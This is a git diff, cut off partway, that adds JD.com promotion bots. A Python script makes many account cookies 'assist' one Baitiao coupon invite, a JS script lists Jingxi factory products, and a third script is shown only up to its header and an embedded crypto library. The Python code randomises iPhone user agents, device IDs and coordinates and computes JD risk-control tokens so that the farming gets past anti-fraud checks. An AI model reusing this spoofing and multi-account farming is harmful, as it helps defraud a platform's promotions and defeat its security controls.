+#以下部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + + +def randomuserAgent(): + global uuid,addressid,iosVer,iosV,clientVersion,iPhone,ADID,area,lng,lat + + uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) + iosV = iosVer.replace('.', '_') + clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + + + area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) + lng='119.31991256596'+str(random.randint(100,999)) + lat='26.1187118976'+str(random.randint(100,999)) + + + UserAgent='' + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +#以上部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + + +def printf(text): + print(text+'\n') + sys.stdout.flush() + + +def load_send(): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + send=False + printf("加载通知服务失败~") + else: + send=False + printf("加载通知服务失败~") +load_send() + + + +def get_remarkinfo(): + url='http://127.0.0.1:5600/api/envs' + try: + with open('/ql/config/auth.json', 'r') as f: + token=json.loads(f.read())['token'] + headers={ + 'Accept':'application/json', + 'authorization':'Bearer '+token, + } + response=requests.get(url=url,headers=headers) + + for i in range(len(json.loads(response.text)['data'])): + if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': + try: + if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') + else: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') + except: + pass + except: + printf('读取auth.json文件出错,跳过获取备注') + + +def JDSignValidator(url): + with open('JDJRSignValidator.js', 'r', encoding='utf-8') as f: + jstext = f.read() + ctx = execjs.compile(jstext) + result = ctx.call('getBody', url) + fp=result['fp'] + a=result['a'] + d=result['d'] + return fp,a,d + + +def geteid(a,d): + url=f'https://gia.jd.com/fcf.html?a={a}' + data=f'&d={d}' + headers={ + 'Host':'gia.jd.com', + 'Content-Type':'application/x-www-form-urlencoded;charset=UTF-8', + 'Origin':'https://jrmkt.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Connection':'keep-alive', + 'Accept':'*/*', + 'User-Agent':UserAgent, + 'Referer':'https://jrmkt.jd.com/', + 'Content-Length':'376', + 'Accept-Language':'zh-CN,zh-Hans;q=0.9', + } + response=requests.post(url=url,headers=headers,data=data) + return response.text + + + +def gettoken(): + url='https://gia.jd.com/m.html' + headers={'User-Agent':UserAgent} + response=requests.get(url=url,headers=headers) + return response.text.split(';')[0].replace('var jd_risk_token_id = \'','').replace('\'','') + + +def getsharetasklist(ck,eid,fp,token): + url='https://ms.jr.jd.com/gw/generic/bt/h5/m/getShareTaskList' + data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"1","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/helpList/?channelId=17&channelName=pdy&jrcontainer=h5&jrlogin=true&jrcloseweb=false"},"channelId":"17","bizGroup":18}'%(eid,fp,token)) + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://btfront.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://btfront.jd.com/', + 'Content-Length':str(len(data)), + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + try: + response=requests.post(url=url,headers=headers,data=data) + for i in range(len(json.loads(response.text)['resultData']['data'])): + if json.loads(response.text)['resultData']['data'][i]['couponBigWord']=='12' and json.loads(response.text)['resultData']['data'][i]['couponSmallWord']=='期': + printf('12期免息券活动id:'+str(json.loads(response.text)['resultData']['data'][i]['activityId'])) + return json.loads(response.text)['resultData']['data'][i]['activityId'] + break + except: + printf('获取任务信息出错,程序即将退出!') + os._exit(0) + + + +def obtainsharetask(ck,eid,fp,token,activityid): + url='https://ms.jr.jd.com/gw/generic/bt/h5/m/obtainShareTask' + data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"1","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/helpList/?channelId=17&channelName=pdy&jrcontainer=h5&jrlogin=true&jrcloseweb=false"},"activityId":%s}'%(eid,fp,token,activityid)) + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://btfront.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://btfront.jd.com/', + 'Content-Length':str(len(data)), + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + try: + response=requests.post(url=url,headers=headers,data=data) + printf('obtainActivityId:'+json.loads(response.text)['resultData']['data']['obtainActivityId']) + printf('inviteCode:'+json.loads(response.text)['resultData']['data']['inviteCode']) + return json.loads(response.text)['resultData']['data']['obtainActivityId']+'@'+json.loads(response.text)['resultData']['data']['inviteCode'] + except: + printf('开启任务出错,程序即将退出!') + os._exit(0) + + +def assist(ck,eid,fp,token,obtainActivityid,invitecode): + url='https://ms.jr.jd.com/gw/generic/bt/h5/m/helpFriend' + data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"10","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/sharePage/?obtainActivityId=%s&channelId=17&channelName=pdy&jrcontainer=h5&jrcloseweb=false&jrlogin=true&inviteCode=%s"},"obtainActivityId":"%s","inviteCode":"%s"}'%(eid,fp,token,obtainActivityid,invitecode,obtainActivityid,invitecode)) + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://btfront.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://btfront.jd.com/', + 'Content-Length':str(len(data)), + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + try: + response=requests.post(url=url,headers=headers,data=data) + if response.text.find('本次助力活动已完成')!=-1: + send('京东白条12期免息优惠券助力完成','去京东金融-白条-我的-我的优惠券看看吧') + printf('助力完成,程序即将退出!') + os._exit(0) + else: + if json.loads(response.text)['resultData']['result']['code']=='0000': + printf('助力成功') + elif json.loads(response.text)['resultData']['result']['code']=='M1003': + printf('该用户未开启白条,助力失败!') + elif json.loads(response.text)['resultData']['result']['code']=='U0002': + printf('该用户白条账户异常,助力失败!') + elif json.loads(response.text)['resultData']['result']['code']=='E0004': + printf('该活动仅限受邀用户参与,助力失败!') + else: + print(response.text) + except: + try: + print(response.text) + except: + printf('助力出错,可能是cookie过期了') + + + +if __name__ == '__main__': + remarkinfos={} + get_remarkinfo() + + + jdjrcookie=os.environ["JDJR_COOKIE"] + + UserAgent=randomuserAgent() + info=JDSignValidator('https://jrmfp.jr.jd.com/') + eid=json.loads(geteid(info[1],info[2]).split('_*')[1])['eid'] + fp=info[0] + token=gettoken() + activityid=getsharetasklist(jdjrcookie,eid,fp,token) + inviteinfo=obtainsharetask(jdjrcookie,eid,fp,token,activityid) + + + try: + cks = os.environ["JD_COOKIE"].split("&") + except: + f = open("/jd/config/config.sh", "r", encoding='utf-8') + cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) + f.close() + for ck in cks: + ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] + try: + if remarkinfos[ptpin]!='': + printf("--账号:" + remarkinfos[ptpin] + "--") + username=remarkinfos[ptpin] + else: + printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") + username=urllib.parse.unquote(ptpin) + except: + printf("--账号:" + urllib.parse.unquote(ptpin) + "--") + username=urllib.parse.unquote(ptpin) + UserAgent=randomuserAgent() + info=JDSignValidator('https://jrmfp.jr.jd.com/') + eid=json.loads(geteid(info[1],info[2]).split('_*')[1])['eid'] + fp=info[0] + token=gettoken() + assist(ck,eid,fp,token,inviteinfo.split('@')[0],inviteinfo.split('@')[1]) \ No newline at end of file diff --git a/jd_jxgckc.js b/jd_jxgckc.js new file mode 100644 index 0000000..61c234f --- /dev/null +++ b/jd_jxgckc.js @@ -0,0 +1,114 @@ +/* +cron "10 10 * * *" script-path=jx_products_detail.js,tag=京喜工厂商品列表详情 +**/ +const $ = new Env('京喜工厂商品列表详情'); +const JD_API_HOST = 'https://m.jingxi.com/'; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +$.cookieArr = []; +$.currentCookie = ''; +let showMsg = ''; +!(async () => { + if (!getCookies()) return; + for (let i = 0; i < $.cookieArr.length; i++) { + $.currentCookie = $.cookieArr[i]; + $.index = i + 1; + if ($.currentCookie) { + const userName = decodeURIComponent( + $.currentCookie.match(/pt_pin=(.+?);/) && $.currentCookie.match(/pt_pin=(.+?);/)[1], + ); + $.log(`\n开始【京东账号${i + 1}】${userName}`); + await getCommodityList(); + + console.log(showMsg); + + //只发送给第一个号 + if (i ===0) { + // 账号${$.index} - ${$.UserName} + await notify.sendNotify(`${$.name}`, `${showMsg}`); + break + } + + } + } +})() + .catch(e => $.logErr(e)) + .finally(() => $.done()); + +function getCookies() { + if ($.isNode()) { + $.cookieArr = Object.values(jdCookieNode); + } else { + const CookiesJd = JSON.parse($.getdata("CookiesJD") || "[]").filter(x => !!x).map(x => x.cookie); + $.cookieArr = [$.getdata("CookieJD") || "", $.getdata("CookieJD2") || "", ...CookiesJd].filter(x=>!!x); + } + if (!$.cookieArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + 'open-url': 'https://bean.m.jd.com/', + }); + return false; + } + return true; +} + +function getCommodityList() { + return new Promise(resolve => { + $.get(taskUrl('diminfo/GetCommodityList', `flag=2&pageNo=1&pageSize=10000`), async (err, resp, data) => { + try { + const { ret, data: { commodityList = [] } = {}, msg } = JSON.parse(data); + // $.log(`\n获取商品详情:${msg}\n${$.showLog ? data : ''}`); + for (let index = 0; index < commodityList.length; index++) { + const { commodityId, stockNum } = commodityList[index]; + await getCommodityDetail(commodityId, stockNum); + await $.wait(1000); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getCommodityDetail(commodityId, num) { + return new Promise(async resolve => { + $.get( + taskUrl('diminfo/GetCommodityDetails', `commodityId=${commodityId}`), + (err, resp, data) => { + try { + const { ret, data: { commodityList = [] } = {}, msg } = JSON.parse(data); + // $.log(`\n获取商品详情:${msg}\n${$.showLog ? data : ''}`); + const { starLevel, name, price, productLimSeconds } = commodityList[0]; + showMsg += `⭐️商品--${name}, 所需等级 ${starLevel},所需电力: ${price / 100} 万,限时 ${ + productLimSeconds / 60 / 60 / 24 + } 天,📦库存:${num},最短需要 ${(price / 864 / 2).toFixed(2)} \n`; + ; + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }, + ); + }); +} + +function taskUrl(function_path, body) { + return { + url: `${JD_API_HOST}dreamfactory/${function_path}?${body}&zone=dream_factory&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now()}`, + headers: { + Cookie: $.currentCookie, + Accept: `*/*`, + Connection: `keep-alive`, + Referer: `https://st.jingxi.com/pingou/dream_factory/index.html`, + 'Accept-Encoding': `gzip, deflate, br`, + Host: `m.jingxi.com`, + 'User-Agent': `jdpingou;android;3.6.6;10;9366134603335346-2356564626532336;network/wifi;model/PCCM00;addressid/2724627094;aid/9f1d035d2eedb52c;oaid/0990A8DEE8484D29A1F033DCEFB178E3e82dce91adda643738be64a5c1dbd373;osVer/29;appBuild/1830;psn/Y3zi9DfAnZ9m /CaT1 855ftH5Ommmjk|80;psq/17;adk/;ads/;pap/JA2020_3112531|3.6.6|ANDROID 10;osv/10;pv/58.17;installationId/64c27574699b447f9e83bb051482e0bc;jdv/0|androidapp|t_335139774|appshare|Wxfriends|1629270186766|1629270192;ref/HomeFragment;partner/oppo;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; PCCM00 Build/QKQ1.191021.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36`, + 'Accept-Language': `zh-cn`, + }, + }; +} + +// prettier-ignore +function Env(t,s){return new class{constructor(t,s){this.name=t,this.data=null,this.dataFile="box.dat",this.logs=[],this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,s),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}getScript(t){return new Promise(s=>{$.get({url:t},(t,e,i)=>s(i))})}runScript(t,s){return new Promise(e=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=s&&s.timeout?s.timeout:o;const[h,a]=i.split("@"),r={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":h,Accept:"*/*"}};$.post(r,(t,s,i)=>e(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),s=this.path.resolve(process.cwd(),this.dataFile),e=this.fs.existsSync(t),i=!e&&this.fs.existsSync(s);if(!e&&!i)return{};{const i=e?t:s;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),s=this.path.resolve(process.cwd(),this.dataFile),e=this.fs.existsSync(t),i=!e&&this.fs.existsSync(s),o=JSON.stringify(this.data);e?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(s,o):this.fs.writeFileSync(t,o)}}lodash_get(t,s,e){const i=s.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return e;return o}lodash_set(t,s,e){return Object(t)!==t?t:(Array.isArray(s)||(s=s.toString().match(/[^.[\]]+/g)||[]),s.slice(0,-1).reduce((t,e,i)=>Object(t[e])===t[e]?t[e]:t[e]=Math.abs(s[i+1])>>0==+s[i+1]?[]:{},t)[s[s.length-1]]=e,t)}getdata(t){let s=this.getval(t);if(/^@/.test(t)){const[,e,i]=/^@(.*?)\.(.*?)$/.exec(t),o=e?this.getval(e):"";if(o)try{const t=JSON.parse(o);s=t?this.lodash_get(t,i,""):s}catch(t){s=""}}return s}setdata(t,s){let e=!1;if(/^@/.test(s)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(s),h=this.getval(i),a=i?"null"===h?null:h||"{}":"{}";try{const s=JSON.parse(a);this.lodash_set(s,o,t),e=this.setval(JSON.stringify(s),i)}catch(s){const h={};this.lodash_set(h,o,t),e=this.setval(JSON.stringify(h),i)}}else e=$.setval(t,s);return e}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,s){return this.isSurge()||this.isLoon()?$persistentStore.write(t,s):this.isQuanX()?$prefs.setValueForKey(t,s):this.isNode()?(this.data=this.loaddata(),this.data[s]=t,this.writedata(),!0):this.data&&this.data[s]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,s=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?$httpClient.get(t,(t,e,i)=>{!t&&e&&(e.body=i,e.statusCode=e.status),s(t,e,i)}):this.isQuanX()?$task.fetch(t).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t)):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,s)=>{try{const e=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(e,null),s.cookieJar=this.ckjar}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t)))}post(t,s=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),delete t.headers["Content-Length"],this.isSurge()||this.isLoon())$httpClient.post(t,(t,e,i)=>{!t&&e&&(e.body=i,e.statusCode=e.status),s(t,e,i)});else if(this.isQuanX())t.method="POST",$task.fetch(t).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t));else if(this.isNode()){this.initGotEnv(t);const{url:e,...i}=t;this.got.post(e,i).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t))}}time(t){let s={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in s)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?s[e]:("00"+s[e]).substr((""+s[e]).length)));return t}msg(s=t,e="",i="",o){const h=t=>!t||!this.isLoon()&&this.isSurge()?t:"string"==typeof t?this.isLoon()?t:this.isQuanX()?{"open-url":t}:void 0:"object"==typeof t&&(t["open-url"]||t["media-url"])?this.isLoon()?t["open-url"]:this.isQuanX()?t:void 0:void 0;this.isSurge()||this.isLoon()?$notification.post(s,e,i,h(o)):this.isQuanX()&&$notify(s,e,i,h(o)),this.logs.push("","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="),this.logs.push(s),e&&this.logs.push(e),i&&this.logs.push(i)}log(...t){t.length>0?this.logs=[...this.logs,...t]:console.log(this.logs.join(this.logSeparator))}logErr(t,s){const e=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();e?$.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):$.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(s=>setTimeout(s,t))}done(t={}){const s=(new Date).getTime(),e=(s-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,s)} diff --git a/jd_jxlhb.js b/jd_jxlhb.js new file mode 100644 index 0000000..7b5b1ef --- /dev/null +++ b/jd_jxlhb.js @@ -0,0 +1,529 @@ +/* +京喜领88元红包 +活动入口:京喜app-》我的-》京喜领88元红包 +助力逻辑:先自己京东账号相互助力,如有剩余助力机会,则助力作者 +温馨提示:如提示助力火爆,可尝试寻找京东客服 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +==============Quantumult X============== +[task_local] +#京喜领88元红包 +4 2,10 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js, tag=京喜领88元红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +==============Loon============== +[Script] +cron "4 2,10 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js,tag=京喜领88元红包 + +================Surge=============== +京喜领88元红包 = type=cron,cronexp="4 2,10 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js + +===============小火箭========== +京喜领88元红包 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js, cronexpr="4 2,10 * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, 